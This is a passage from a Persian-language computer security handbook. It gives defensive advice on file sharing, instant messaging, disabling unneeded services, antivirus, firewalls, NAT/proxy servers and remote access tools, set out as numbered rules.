  تلفنهاي سيار

كـه تلفنهـاي دسـتي يـا تلفنهـاي همـراه نيـز ناميـده                (نهاي سيار   تلف
رونـد    اي براي انتقال صوت بكار مي       به شكل گسترده  ) شوند  مي

تواننـد بـراي انتقـال اطلاعـات مـورد            و گاهي اوقات نيز مـي     
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تواننـد   بسياري از فناوريهاي تلفن سيار مي. استفاده قرار گيرند 
  .باشند  و لذا ايمن نميمورد استراق سمع و شنود قرار بگيرند

  خطوط دور برد

ارتباطات طولاني خصوصاً براي مناطق دوردست معمـولاً بـا          
ايـن خطـوط   . شـود   سـيم مهيـا مـي       استفاده از فناوريهاي بـي    

. توانند به چندين كاربر بطور همزمان خدمات ارائـه دهنـد            مي
بـا اسـتفاده از آنتنهـاي       (اگر روش انتقال بصورت مـستقيم باشـد         

استراق سـمع بـدون تجهيـزات خـاص         ) يا آنتنهاي ياگي  بشقابي  
تواننـد بـا    اين ارتباطات درصورت لزوم مـي     . دشوار خواهد بود  

افزاري رمزنگاري بـصورت رمـزي        استفاده از تجهيزات سخت   
  .درآيند

  ٩٩سيم حلقة محلي تلفنهاي بي

ايــن فنــاوري در منــازل و ادارات بــسياري از كــشورها بكــار 
نقـص خطـوط تلفـن را ميـسر            و بي  هزينهرود و نصب كم     مي
سازد و مشكلاتي كه تجهيزات زيرساختهاي سيمي دارنـد           مي

از طرف ديگر بـرخلاف سـيمهاي مـسي، تجهيـزات           . را ندارد 
سيم در ميانـة راه قابـل دزديـدن و فـروختن نيـستند، امـا                  بي

همانند تلفنهاي سيمي هنگاميكه يك مودم بـه ايـن خطـوط            
 اطلاعات صوتي، سـاير انـواع       توانند بجاي   شود مي   متصل مي 

سيم ممكـن اسـت قابـل          بي  فناوري. اطلاعات را انتقال دهند   
بـسته بـه موقعيـت محلـي، قـوانين كـشوري و             . شنود باشـد  

 خـود درخواسـت كنيـد كـه     ISPتوانيـد از    مقررات محلي مي  
  .شدن ارتباط را بررسي نمايدرمزگذاري

  ساير مسائل اينترنتي

  اشتراك فايل

يش از يــك رايانــه، اســتفاده از فايلهــاي درصــورت وجــود بــ
تـرين ابـزار موجـود در     اشتراكي يكي از مهمترين و كـاربردي      

ترين حالت، اين ويژگي شـما را قـادر           در ساده . باشد  شبكه مي 
كنيد به فايلهاي     سازد درحاليكه در يك سيستم فعاليت مي        مي

موجود در يك سيستم ديگـر دسترسـي يابيـد، آنهـا را تغييـر               
در آن سيستم فايل جديد بسازيد، و يا فايلهاي موجـود           دهيد،  

توانند هر دو در يـك   دو سيستم مجزا مي. در آنرا حذف نماييد 
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اشتراك فايل اين   . اتاق يا هركدام در يك نيمكرة زمين باشند       
سازد كـه در طـول مـسافرتها بتوانيـد بـه              امكان را فراهم مي   

  .فايلهاي رايانة خود دسترسي داشته باشيد

 عمـل   ١٠٠دهنـدة فايـل     سـرويس رايانة منفرد كه بعنـوان      يك  
تواند بعنوان ديسك سخت تعداد زيادي رايانه تلقي   كند مي   مي

دهنـدة    در اينصورت بيشتر فايلهـاي شـما در سـرويس         . گردد
توانيد از طريق شبكه به آنها        گيرند و بنابراين مي     فايل قرار مي  
  .دست يابيد

 دارد اين است كه اگر    پذيري واضحي كه در اينجا وجود       آسيب
شما بتوانيد به فايلهاي خود از راه دور دست پيدا كنيـد، افـراد              

پـذيري    يـك آسـيب   . توانند اينكار را انجام دهنـد       ديگر نيز مي  
اشـتراك    ضعيفتر اين است كه اگـر فايلهـا را بـا ديگـران بـه              

پذيريهايي كه ممكن است براي رايانة        بگذاريد، در برابر آسيب   
اي كـه بـه     مثلاً اگر رايانه  .  در امان نخواهيد بود    آنها پيش آيد  

فايلهاي شما دسترسي داشته توسط يك ويروس آلوده شـود،          
  .ممكن است فايلهاي شما نيز آلوده گردند

  :قانون پانزدهم
كنيـد آنـرا      اگر از قابليت اشتراك فايل استفاده نمي      

درصورت نياز به آن، دسترسيهاي     . غيرفعال سازيد 
  .ه كه واقعاً لازم داريد محدود نماييدخود را به آنچ

  :قانون شانزدهم
كنيـد، نـام      اگر از قابليت اشتراك فايل استفاده مي      

كاربري و رمزهاي عبور مـستحكم بكـار گيريـد و           
مجوز دسترسـي را بـه كمتـرين حـد ممكـن كـه              

توانيد كار خـود را انجـام دهيـد         همچنان با آن مي   
  .محدود سازيد

  :قانون هفدهم
گذاريـد   اشـتراك مـي     ا را با ديگـران بـه        اگر فايله 

  .گيرندمطمئن شويد آنها مسائل امنيتي را جدي مي
قابليتهاي اشتراك فايل و دسترسي از راه دور ايـن امكـان را             

سازند كه براي كنترل دسترسـي از نـام كـاربري و              فراهم مي 
رمزهاي عبور استفاده كنيـد، و نامهـاي كـاربري و رمزهـاي             
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كنند بتوانيد آنچه كه يـك كـاربر انجـام           مي عبور شما را قادر   
. را كنتـرل نماييـد    ) خواندن، نوشتن، ايجاد و پـاك نمـودن       (دهد    مي

تواننـد تمـامي اعمـال يـك كـاربر را           بسياري از سيستمها مي   
توانيد تسهيلات دسترسي از راه  بعنوان مثال مي  . كنترل نمايند 
جــازة اي محــدود ســازيد كــه بــه فايلهــا تنهــا ادور را بگونــه

به عبارت ديگر اگـر نيـازي بـه دسترسـي           . شدن بدهد  خوانده
  .نوشتن نداريد بايد آنرا غير فعال كنيد

سيستمهايي كه از بعضي قابليتهاي اشتراك فايلهـا پـشتيباني          
اگرچـه  . توانند چاپگرها را نيز به اشتراك بگذارنـد         كنند مي   مي

 اما  امكان دسترسي راه دور به چاپگر چندان پرمخاطره نيست،        
. بهتر است كه آنرا غيرفعال سازيم مگر آنكـه ضـروري باشـد            

ممكن است اشكالي در دسترسي راه دور چاپگر وجود داشـته           
باشد كه باعث شود مجوزهايي كه اختـصاصاً بـراي كارهـاي            

  .چاپي صادر شده، امكان اعمال خرابكارانه را فراهم كنند

  پيامهاي فوري

سازد كه پيام      را فراهم مي   قابليت ارسال پيام فوري اين امكان     
هاي ديگـر بـه        همزمان روي رايانه    شده روي يك رايانه   تايپ

بــرخلاف پــست الكترونيكــي، در ايــن مــورد . نمــايش درآيــد
فرستنده و گيرنده بايد هر دو در يك زمان متصل بـه شـبكه              

در . افزارهاي متفاوتي دارد  قابليت ارسال پيام فوري نرم    . باشند
، MSN Messenger ،IRC١٠١ن بــه تــوا ميــان آنهــا مــي
Yahoo Chat ،AIMو نيز ١٠٢ ،ICQاشاره نمود١٠٣ .  

، AOL ،MSN ،Yahooارتباطـــات اينترنتـــي از قبيـــل   
 Messengerهريك داراي   ... ميزبانهاي بازيهاي اينترنتي و   

بعضي از آنها بـا سـايرين       .  مخصوص به خود هستند    Chatو  
 انجـام   كنند و برخي ديگـر چنـين كـاري          تبادل اطلاعات مي  

  .دهند نمي

بسياري از سيستمهاي ارسـال پيـام فـوري بـه كـاربر اجـازه               
اش بـه   دهند اسمي انتخاب كند كه همراه پيامهاي ارسالي        مي

نمايش درآيد و بدين ترتيب سايرين نيز بتوانند بـراي او پيـام             
اين اسامي ممكن است موجب شوند كه هويت        . ارسال نمايند 

 راهبران سيستم ممكـن اسـت       اصلي شما پنهان بماند، اگرچه    
  . شناسايي كنندIPبتوانند هويت شما را از طريق آدرس 
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  :قانون هجدهم
توانـد بـسيار مفيـد        قابليت ارسال پيام فوري مـي     

  .باشد، اما از آن با آگاهي و دقت كامل استفاده كنيد
قابليت ارسال پيام فوري بـه چنـد دليـل نقـش مفيـدي ايفـا                

  :كند مي

تـر و      به پست الكترونيكـي راحـت      استفاده از آن نسبت    •
ايـن مـسئله    . سريعتر است و تقريباً هيچ تأخيري ندارد      

تـر از   شده در آن عملي   شود گفتگوهاي انجام  باعث مي 
 .هاي الكترونيكي باشندنامه

درحاليكه مشغول انجام كـار ديگـري هـستيد پيـام در             •
پنجرة كـوچكي روي صـفحة شـما دريافـت و ارسـال             

عث ايجاد وقفه در ساير كارهايتان      گردد و چندان با     مي
 .شودنمي

) و هويـت  (نيازي نيست كـه آدرس پـست الكترونيكـي           •
كننــدگان در گفتگوهــاي  خــود را بــراي ســاير شــركت

 .شده در پيامهاي فوري فاش كنيدانجام

در موارد خاص استفاده از قابليت ارسال پيام فوري نسبت بـه            
راد استفاده از اين    درنظر بعضي اف  . نامة الكترونيكي ارجح است   

تر نيز هست؛ چراكه پيامها در مكانهـاي ديگـر            سرويس ايمن 
شوند، درصورتيكه در پست الكترونيكي ايـن         ديسك كپي نمي  

شود   به هرحال هنوز به كاربران هشدار داده مي       . افتداتفاق مي 
مشكل اصلي . كه ممكن است پيامهاي فوري آنها ايمن نباشد      

است كـه بعـضي از آنهـا قابليـت          سيستمهاي ارسال پيام اين     
ايــن موضــوع آنهــا را ماننــد ســاير . انتقــال فايــل هــم دارنــد
 -هاي الكترونيكي      مثل ضمائم نامه   -قابليتهاي اشترك فايل    

برخي از سيستمهاي ارسال پيـام فـوري        . كند  دچار مشكل مي  
دهنـد و اينكـار       اجازة اجراي دسـتورات از راه دور را نيـز مـي           

  .وقوع تهاجم گرددتواند منجر به  مي

  خدمات فعال غيرضروري

هاي كـاربردي بـسيار قدرتمنـد و كـارآ          عاملها و برنامه  سيستم
در بيشتر موارد كاربر عادي تمام قابليتهاي موجـود در         . هستند

خدماتي كه مـورد نيـاز نيـستند بايـد          . افزارها را لازم ندارد     نرم
افـزار   كننـدگان نـرم     متأسفانه بعضي از عرضـه    . غيرفعال شوند 

كنند و بستگي به  هاي خود را فعال مي تمامي قابليتهاي برنامه  
كاربر دارد كه از آنها استفاده كند يا نكنـد، و در غالـب مـوارد                

بعنوان مثال بـراي    . هم كاربر از وجود اين خدمات آگاه نيست       
اي    بگونـه  UNIXچندين سال متوالي بعـضي از سيـستمهاي         

جهز به آنها بتواند بعنـوان      طراحي شده بودند كه هر دستگاه م      
البتـه اگـر   (يك مركز پست الكترونيكي غير محدود عمل نمايد   

ــال نمــي  ــاربر غيرفع ــه ). شــد ايــن قابليــت توســط ك ايــن مــسئله ب
ها امكان داد كه از اين دستگاهها بـراي توزيـع             نويس  هرزنامه
ها اسـتفاده كننـد، بـدون آنكـه بـسياري از صـاحبان                هرزنامه

  . چنين قابليتي آگاهي داشته باشددستگاهها از وجود

  :قانون نوزدهم
تمامي خدمات اينترنتي كه مورد نيـاز نيـستند و از           

  .كنيد را غيرفعال نماييد آنها كمتر استفاده مي
شدن از  اي درحال آگاه  افزارها بطور فزاينده  كنندگان نرم   عرضه

بنابراين عليرغم علاقـة آنهـا بـه توسـعه و           . مشكلات هستند 
هاي خود را بـا       تمهايي با توانمنديهاي زياد، برنامه    عرضة سيس 

صورت   كنند؛ و كاربر در   شده منتشر مي  خدمات فرعي غيرفعال  
غيرفعـال بـودن   . تواند هريـك از آنهـا را فعـال سـازد          نياز مي 

شـود اهميـت زيـادي      خدماتي كه از آنها استفاده خاصي نمـي       
ــاپگر،     . دارد ــا و چ ــتراك فايله ــامل اش ــدماتي ش ــين خ چن
ــر ــده ويسس ــرويس  دهن ــاي وب، س ــده ه ــست   دهن ــاي پ ه

ــده الكترونيكــي، ســرويس ــال فايــل هــاي  دهن   پروتكــل انتق
)FTP Servers(هاي فراخـواني تـابع از راه    دهنده سرويس، ١٠٤

  .باشند  و غيره مي١٠٥)RPC Servers (دور
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  فصل هفتم
  ابزارهايي براي ارتقاي امنيت

  كليات
ي و روشهاي افـزايش     افزاري امنيت   هاي نرم در اين فصل بسته   

منظور از  . گيردها مورد بررسي قرار مي     ها و رايانه  امنيت شبكه 
هـاي  يابها، ديـواره    افزاري امنيتي همان ويروس     هاي نرم   بسته

  .آتش، و ابزارهاي دسترسي از راه دور است

  يابويروس

  :قانون بيستم
پذير نسبت به ويـروس بايـد    روي هر رايانة آسيب  

ــرم ــزار ضــدويرو ن ــر روز اف ــصب شــود و ه س ن
همچنين دستگاه بايد بـصورت     . روزرساني گردد   به

  .اي براي يافتن ويروس جستجوي كامل شود دوره

  :قانون بيست و يكم
هايي كه تحت تأثير ويروسـها قـرار       در مورد رايانه  

بايـد  ) Unixماننـد سيـستمهاي مبتنـي بـر         (گيرنـد     نمي
 اطمينان حاصل شود كه نامة الكترونيكـي ارسـالي        
حاوي ويروس نيست تـا بـه گيرنـده نيـز آسـيبي          

  .نرسد

  :قانون بيست و دوم
افزارهاي كاربردي مهم خود را       عاملها و نرم  سيستم

روزرساني نماييد و به خاطر داشـته باشـيد كـه             به
يابها تنها ويروسهاي مهاجم بـه فايلهـا را         ويروس

ــي  ــي م ــيب  بررس ــه آس ــد؛ درحاليك ــذيري  كنن پ
هاي كاربردي ممكن اسـت       عاملها و برنامه    سيستم

  .موجب آسيب ديدن سيستم از ابعاد ديگر شوند

 شما را از ويروسها، كرمهـا        يابها به روشهاي زير رايانة    ويروس
  :سازند شده ايمن ميو تراواهاي شناخته

هر زمان كه به فايلي دسترسي داشـته باشـيد يـا آنـرا               •
كپي، ذخيره، منتقل، باز يا بسته نماييد، جلـوي آسـيب           

 .گيرندساندن ويروسها به سيستم را مير

هرگاه يك ديسك خارجي وارد دستگاه خود كنيد آنـرا           •
 .نمايندبراي يافتن ويروسهاي احتمالي بررسي مي

هر زمان كه يك نامة الكترونيكي دريافت شـود، خـود            •
نامه و ضمائم آن براي عاري بودن از هر نوع ويـروس          

 .گيرند مورد بررسي قرار مي

 شـود   downloadي از يـك پايگـاه وب        هرگاه فـايل   •
 .گيرد مورد بررسي قرار مي

افزارهاي   در بيشتر موارد زمانيكه يك صفحة وب و نرم         •
شـود      downloadجاسازي شده در آن به رايانة  شما         

 .گرددبررسي مي

توانيـد يـك فايـل،        هـا مـي   با اسـتفاده از ايـن برنامـه        •
د را  اي از فايلها و يا تمامي ديـسكهاي موجـو           مجموعه

 .براي ويروس بررسي نماييد

اگر يك ويروس، كرم، يا تراوا شناسايي شود، اين ابزار           •
برد يا اگر نتواند اينكار را انجام دهـد بـه             آنرا از بين مي   
دهد كه اين مشكل قابل رفع نيـست؛ و          شما اطلاع مي  

كند و بدينوسـيله از     درنتيجه فايل خراب را قرنطينه مي     
 سيـستم فايـل جلـوگيري    آسيب ديدن ساير قسمتهاي   

 .نمايدمي

ــروس  ــك وي ــود ي ــاوي   وج ــاب ح ــروس ي ــشانهاي وي  ١٠٦ن
مشخصة خاصي از يك ويـروس اسـت كـه          " نشان"(روزرساني شده     به

، يكـي از  )تواند نوع ويروس را تشخيص دهـد  ياب توسط آن مي   ويروس
توانـد بـه      مهمترين قسمتهايي از يك شـبكه اسـت كـه مـي           

ــصل باشــد  ــت مت ــت. اينترن ــازگي  توجــه داش ــه بت ه باشــيد ك
 درحال گسترش هستند، امـا      UNIXويروسهايي براي محيط    

  .اند كرمها و تراواها براي اين محيط از قبل وجود داشته

 يكـي از ضدويروسـهاي دسـتگاههاي        ۲۰۰۳تا اواخر آگوست    
ــصي و  ــدويروس  (Macintoshشخــ ــاً ) Nortonضــ تقريبــ
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ست آگو.  ويروس مختلف را شناسايي كند     ۶۵۰۰۰توانست   مي
افزارهـاي مخـرب مـاه جـالبي بـود،          از نظر انتشار نـرم     ۲۰۰۳

چراكه بسياري از كرمها كه در آن ماه منتـشر شـدند از يـك               
 Windowsعامــل پــذيري بــسيار حيــاتي در سيــستم آســيب
).  از رايجترين آنها بودنـد     SoBig و   Blaster(كردند  برداري مي  بهره

تشر كرده بود،   اي من   يكماه پيشتر مايكروسافت براي آن وصله     
اما افراد كمي آنرا نصب كرده بودند و به همين دليل كرمهاي            
جديد توانـستند بـه دسـتگاههاي زيـادي آسـيب بزننـد و بـه         

اي كه شايد در ايـن زمينـه     سرعت در آنها پخش شوند؛ بگونه     
در شلوغترين روز آن    . ركوردهاي جديدي به ثبت رسيده باشد     

شان جديـد ويـروس را       ن ۵۰ حدود   Nortonياب  ماه، ويروس 
ايـن  . به فهرست ويروسهاي قابل شناسايي خود اضافه نمـود        

  . رسيد۵۲۰عدد تا يكماه بعد از آن به حدود 

  ديوارة آتش
يك ديوارة آتش تمامي فعاليتهاي داخل يا خـارج از شـبكه را             

كند و بر اساس مجموعه قوانين موجود در خود بـه    بررسي مي 
بكه عبور كند يا آنرا متوقـف     دهد كه از ش     اجازه مي  ١٠٧ترافيك

  تواند به شكل يك برنامة روي رايانه         مي ديوارة آتش . سازدمي
يـا گروهـي از   (نصب شود يا قسمتي از تجهيـزات ميـان رايانـه     

 ديوارة آتـش  گاهي اوقات   . ايِ آن باشد     شبكه  و ارتباط ) ها  رايانه
ــد   ــزات ديگــر مانن ــسيريابهادر بعــضي تجهي ــرار داده ١٠٨م  ق

   معمــولاً رايگــان و  آتــشهــايهديــواريــن نــوع ا. شــود مــي
عاملها وجود  شده هستند و در بسياري از سيستم        از پيش نصب  

  .دارند

  : و سوم قانون بيست
 ديـوارة آتـش   هـا بايـد توسـط يـك           تمامي رايانه 

افـزار    توان آنرا بصورت نرم     محافظت شوند كه مي   
ديـوارة  در هر رايانه نصب نمود يـا بـصورت يـك            

اري براي تمامي شبكة محلي قـرار       افز سخت آتش
  .داد

دهـد     چه كاري انجام مي    ديوارة آتش با درك اين موضوع كه      
توان قوانيني براي كنترل آن تنظـيم نمـود بايـد             و چگونه مي  

 مجموعـه قـوانيني كـه تمـامي         - TCP/IPمفهوم پروتكـل    
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 را نيـز    -كنـد     پيامهاي ارسالي از طريق اينترنت را كنترل مي       
توانيـد بـه    آشنا هـستيد مـي    TCP/IPبا پروتكل   اگر  . دريابيد

شناسيد ابتدا ضميمة     فصل بعدي مراجعه كنيد اما اگر آنرا نمي       
توجـه داشـته باشـيد حتـي        .  همين بخش را مطالعه نماييـد      ۲

ــان   ــد همچن ــات را بياموزي ــن جزئي ــد اي درصــورتيكه نخواهي
در ادامه تمـامي آنچـه      .  استفاده كنيد  ديوارة آتش توانيد از     مي
 بدانيد ذكـر    TCP/IP لازم است بصورت خلاصه در مورد        كه
  :شودمي

دستگاههايي كه به اينترنت متصل هستند داراي يـك          •
باشند كـه      مي 12.222.103.43 به شكل    IPآدرس  

بينيـد متـشكل از چهـار عـدد مجـزا           همانگونه كه مي  
اينترنت براي پيدا كردن مسير پيام از اين آدرس         . است

رايانـه بـا ارائـه آدرس مقـصد در      كند و هر      استفاده مي 
كند كه ايـن پيامهـا بايـد بـه            چنين قالبي مشخص مي   

 .كجا ارسال شوند

شـمارة  هـاي مختلـف بوسـيله         در هر دسـتگاه برنامـه      •
مانند شـماره تلفنهـاي داخلـي       (شوند     شناسايي مي  ١٠٩پورت

 تنها يك شماره تلفن عمـومي وجـود    -تلفن در شركتهاي بزرگ     
 ).رة داخلي مربوط به خود را دارددارد، اما هر اتاق شما

شـوند،    اطلاعاتي كه به رايانـه يـا از آن فرسـتاده مـي             •
 . نام دارند١١٠بسته

پوشـي     در بحث زيـر چـشم      UDP و   TCPاز كلمات    •
 .كنيد و چندان نگران از دست دادن جزئيات نباشيد

   نياز داريم؟ديوارة آتشچرا به 

 نيست نيازي    شما به شبكة محلي يا اينترنت متصل        اگر رايانة 
همينكه به شـبكه متـصل شـويد ايـن          .  نداريد ديوارة آتش به  

  آيــد كــه مهــاجمين رايانــة شــما را مــورد احتمــال پديــد مــي
  :بعنوان مثال. سوء استفاده قرار دهند

اگر از اشتراك فايل، اشتراك چاپگر يـا سـاير خـدمات             •
كنيد، رايانـة شـما روي پورتهـاي          اي استفاده مي    رايانه

شود كه  در اصطلاح گفته مي   (ايستد  نتظار مي مشخصي به ا  
اگرچــه بــا انجــام اينكــار ). "شــنود مــي"رايانــه آن پــورت را 

اشـتراك     ديگـري بـه     توانيد منابع خود را بـا رايانـة         مي
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 در هـر نقطـة       بگذاريد، اما ممكن است رايانة ديگـري      
 .دنيا نيز بتواند اطلاعات شما را مشاهده نمايد

اي اشـتراك فايـل بـه انتظـار         اگر بتوانيـد روي پورته ـ     •
وجود اشكالات، شخصي   به دليل   بايستيد، ممكن است    

اي بفرسـتد و از آن طريـق        بتواند برايتان پيام ماهرانـه    
متأسـفانه  . اعمال مخربي روي رايانة شما انجـام دهـد        

 .درحال حاضر اين نوع حمله بسيار رايج شده است

نيـد  حتي اگر نتوانيد روي هيچ پورتي منتظـر پيـام بما           •
تواننـد پيامهـاي زيـادي        هاي ديگر همچنان مـي      رايانه

توان از تمامي آنهـا       اگرچه مي . براي شما ارسال نمايند   
اي   تواننـد ارتباطـات شـبكه       صرفنظر كرد اما پيامها مي    

شما را مسدود كنند و باعث شوند نتوانيد كارهاي خود           
ــد  ــام دهي ــط  (را انج ــورد فق ــن م ــواردر اي ــاي هدي ــشه   آت

 ).توانند به شما كمك نمايند  ميافزاري سخت

 اگر عليرغم تلاشهاي بسيار، توسط ويروس، كـرم يـا           •
تراوا آلوده شديد، ممكن است تمام اطلاعات موجود در       

ايـن  . افزار مخرب ارسال شـود      رايانه براي نويسندة نرم   
ها و تمامي آنچه كه در رايانـة قربـاني    مورد شامل داده  

 .شود مي)از جمله رمزهاي عبور(ثبت شده 

  كنند؟  چگونه كار مي آتشهايهديوار

شود    شما ارسال مي    رايانة   كه به     هايي   تمامي بسته  ديوارة آتش 
كند كه آيا با قوانين درنظر گرفته شده          را نظارت و بررسي مي    

هـا مـسدود      اگر چنين بود راه عبور بـسته      . مغايرت دارد يا خير   
افـزاري بهتـر    ختافزاري و س هاي آتش نرم    در ديواره . شود  مي

  :است قوانين زير پياده شوند

، 137، 135اي از پورتهـاي       اجازه ندهيـد هـيچ بـسته       •
ايــن پورتهــا .  عبــور كنــدTCP/UDP 445، و 139

براي سرويس اشتراك فايل و انواع ديگري از خدمات         
Windows    بـا متوقـف    . گيرنـد    مورد استفاده قرار مي

كــه هــا اطمينــان خواهيــد يافــت  ســاختن ايــن بــسته
تواند بـراي اسـتفاده از        هيچكس از طريق اينترنت نمي    

 . شما ارتباط برقرار كند اين خدمات با رايانة

، 137، 135اي از پورتهـاي       اجازه ندهيـد هـيچ بـسته       •
ــد، مگــر آنكــه  TCP/UDP 445، و 139 ــور كن  عب

هايي باشـد    مبدأ آن مربوط به يكي از رايانه       IPآدرس  
 .فاده كنيدكه شما مايليد از خدمات آن است

هاي مورد اطميناني كـه بـه        توانيد فهرستي از رايانه     مي •
 تعريـف   ديـوارة آتـش   رسانند را براي      شبكه آسيب نمي  
هاي مطمئن بتوانند بـا شـما ارتبـاط           كنيد تا تنها رايانه   

توانيد با سـاير      با انجام اينكار همچنان مي    . برقرار كنند 
رنـت نيـز    هاي وب در اينت     دهنده  ها مانند سرويس    رايانه

ارتباط برقرار كنيد، اما براي اينكار شما بايد آغاز كنندة          
 .آن ارتباط باشيد

 را بكـار    افـزاري منـابع موجـود در رايانـه           نرم  آتش هاي  هديوار
همراه با  (گيرند، اما با اين مزيت كه تنها محتواي اطلاعات           مي

لكـه  كنند؛ ب   را بررسي نمي  ) آدرسها و پورتهاي فرستنده يا گيرندة آن      
ه   اي پيام را ارسـال نمـود        توانند بررسي كنند كه چه برنامه       مي
اگر يك برنامة غيرمجاز بـا رايانـة شـما ارتبـاط برقـرار              . است

تواند از شما    قبل از عبور دادن آن مي      ديوارة آتش كرده باشد،   
توانـد    افـزاري نمـي      سـخت   آتـش  ةديـوار . كسب اجـازه كنـد    

رسـال پيـام اسـتفاده      تشخيص دهد كه از كدام برنامه بـراي ا        
افـزاري    شده؛ اما از آنجا كه يك قسمت از تجهيـزات سـخت           

  .آورد است، سرعت رايانه را پايين نمي

افزاري هستيد    افزاري يا نرم     سخت ديوارة آتش اگر داراي يك    
مــشابه تمــامي تجهيــزات امنيتــي ديگــر بايــد هميــشه آنــرا 

روز   ا بـه  خرابكاران بسيار خلاق هستند و لذ     . روزرساني كنيد   به
بريد بودن ابزارهايي كه براي حفاظت از سيستم خود بكار مي         

  .از اهميت زيادي برخوردار است

  ١١١فضاهاي آدرس خصوصي

 يا دستگاه    طراحي اينترنت از ابتدا بدينصورت بود كه هر رايانه        
موجود در آن آدرس مخصوص به خـود را داشـت و لـذا هـر                

امـروزه بـه    . باط برقرار كند   ديگر ارت   توانست با رايانة     مي  رايانه
دلايل زيادي برقراري ارتباط جهـاني در ايـن سـطح چنـدان             

  :دو دليل عمده براي اين مسئله وجود دارد. مطلوب نيست

هـا را     اي از رايانـه     خواهيـد مجموعـه     گاهي اوقات مـي    •
بصورت مجزا از بقيه نگهداري كنيد تـا نتواننـد بطـور            

 ـ     مستقيم با سـاير رايانـه      ت ارتبـاط داشـته     هـا در اينترن
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هاي برخي  اي است كه در مورد رايانه  اين مسئله . باشند
 .از سازمانهاي عمومي و خصوصي وجود دارد

 در محيط اينترنـت اختـصاص   IPاز آنجا كه آدرسهاي    •
شوند ممكن است سازمان شما به تعداد كـافي           داده مي 
 نداشته باشد كه بخواهد بـه همـة ماشـينها           IPآدرس  

 مسئله اغلب در كشورهاي درحـال       اين. اختصاص دهد 
توسعه وجود دارد كه در آنها اينترنت ملـي چنـد سـال             

يافته   هاي ارتباطي كشورهاي توسعه     بعد از ايجاد شبكه   
 .بوجود آمد

 مشخـصي وجـود دارنـد كـه در اينترنـت مـورد         IPآدرسهاي  
ــرار نمــي ــد اســتفاده ق ــن آدرســها . گيرن ــضاهاي آدرس "اي ف

توانند در دو مورد ذكـر شـده          ميشوند و   ناميده مي " خصوصي
هـايي كـه از فـضاهاي آدرس        از آنجـا كـه رايانـه      . بكار رونـد  

كنند بصورت مستقيم با اينترنت ارتبـاط       خصوصي استفاده مي  
اگرچه . كنند به آدرسهاي منحصر به فرد نياز ندارند         برقرار نمي 

ســازمانهاي مختلفــي ممكــن اســت از مجموعــه آدرســهاي  
توانند سـايرين     ، اما هيچيك از آنها نمي     مشابهي استفاده كنند  

را ببيننــد و لــذا ايــن آدرســهاي مــشابه هــيچ مــشكلي پديــد 
 .آورند نمي

دو روش وجود دارد كه با استفاده از آنها يك رايانه كه آدرس             
  :تواند با اينترنت ارتباط برقرار كند خصوصي دارد مي

  Proxy١١٢هاي  دهنده سرويس

 ديـوارة آتـش   از   نـوع خاصـي      proxyدهنـدة     سرويس
 داراي يك آدرس در فـضاي        دهنده  اين سرويس . است

آدرس خصوصي است اما همچنين يك ارتباط و آدرس    
اگـر كـاربري    . ثانويه نيز براي اتصال بـه اينترنـت دارد        

بخواهد از يك دستگاه با آدرسي در فـضاي خـصوصي           
دهنـدة   به اينترنت متصل شود، پيام خود را به سـرويس        

proxy  خواهد كه پيام را بـه       كند و از آن مي       ارسال مي
دهنده   اين سرويس . مقصد مورد نظر در اينترنت برساند     

درخواست را بعد از فرسـتادن روي اينترنـت نگهـداري           
كند و زمانيكه پاسخ آن بازگـشت آنـرا بـه دسـتگاه               مي

  .فرستدكننده بازپس ميدرخواست

                                                                  
112  Proxy Servers 

تواننـد بـراي       همچنين مي  proxyهاي    دهنده  سرويس
آنها براي  .  عادي مورد استفاده قرار گيرند     IPهاي  آدرس

كنترل نوع ترافيك عبوري اينترنت يا تسهيل ارتباطات        
  دهنـدة   يـك سـرويس   . رونـد   كاربر و شـبكه بكـار مـي       

proxy       شـده را      وب يك نسخه از صفحات درخواسـت
كند و درصورتيكه كـاربر ديگـري همـان           نگهداري مي 

داري شـده را    هاي نگه ـ صفحه را درخواست كند نسخه    
نمايد؛ و با اينكار پهناي باند مـورد          براي وي ارسال مي   

 cachingايـن مكـانيزم     . يابد  نياز اينترنت كاهش مي   
  .شودناميده مي

NAT١١٣  

NAT             جايگاهي بين شـبكة محلـي و اينترنـت دارد و 
 با اينترنت و شبكة محلي   proxyدهندة    مشابه سرويس 
رود مـرتبط     خصوصي در آن بكار مـي      IPكه آدرسهاي   

 از شبكة   NATزمانيكه يك پيام با استفاده از       . باشد  مي
 آنرا با استفاده    NATشود،    محلي به اينترنت ارسال مي    

كنــد و اينطــور وانمــود   خــود ارســال مــيIPاز آدرس 
كند كه پيام از پـورتي فرسـتاده شـده كـه درحـال                مي

شود،   استفاده نيست، و هنگاميكه پاسخ پيام دريافت مي       
 NAT. گـردد    اصلي در شبكة محلـي بـاز مـي          انةبه راي 

كنـد، امـا بـراي         عمل مي   proxyدهندة    شبيه سرويس 
رود و    بكار مي ) webو نه فقط ترافيك     (همة انواع ترافيك    

  .نمايد نيز استفاده نميcachingاز مكانيزم 

 هـاي   هديـوار  هر دو مثل     NAT و   proxyهاي    دهنده  سرويس
ــش  ــآت ــتگاههايي ك ــستند و از دس ــضاهاي آدرس  ه ه در ف

خصوصي قرار دارند در برابر انواع حملات بيرونـي محافظـت           
  .كنند مي

  ابزارهاي دسترسي، مديريت،
  و راهبري از راه دور

ــديريت از راه ، ١١٤ابزارهــاي دسترســي از راه دور ابزارهــاي م
 اين امكـان را فـراهم   ١١٦ابزارهاي راهبري از راه دور    و   ١١٥دور
ز راه دور و از طريق خـط تلفـن يـا             خود را ا    كنند كه رايانة    مي

                                                                  
113  Network Address Translation 
114  Remote Access Tools 
115  Remote Management Tools 
116  Remote Administration Tools 
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هنگاميكه با اين روش به رايانـة خـود         . اينترنت كنترل نماييد  
كليد دسـتگاه   شويد مثل اين است كه پشت صفحه        متصل مي 
  .ايد خود نشسته

  :قانون بيست و چهارم
اگر از امكانات دسترسـي از راه دور بـراي كنتـرل            

ز ايمني  كنيد مطمئن شويد كه ا      ها استفاده مي    رايانه
) نامهـــاي كـــاربري و رمزهـــاي عبـــور مناســـب(لازم 

برخوردارند، تا مهاجمين نتوانند از اين ابزارها عليه        
  .شما استفاده كنند

. ابزارهاي دسترسي از راه دور كاربردهاي مهم بسياري دارنـد         
  :توان به موارد زير اشاره كرد از ميان آنها مي

زيكـي نداريـد     ادارة خود دسترسـي في      زمانيكه به رايانة   •
. كنند كه از آن استفاده نماييـد        اين امكان را فراهم مي    

هـاي كـاربردي و       ها، برنامـه    توانيد به داده    با اينكار مي  
 .اي محل كارتان دسترسي داشته باشيد خدمات شبكه

دهند رايانـة خـود را بـراي معاينـه بـه يـك                اجازه مي  •
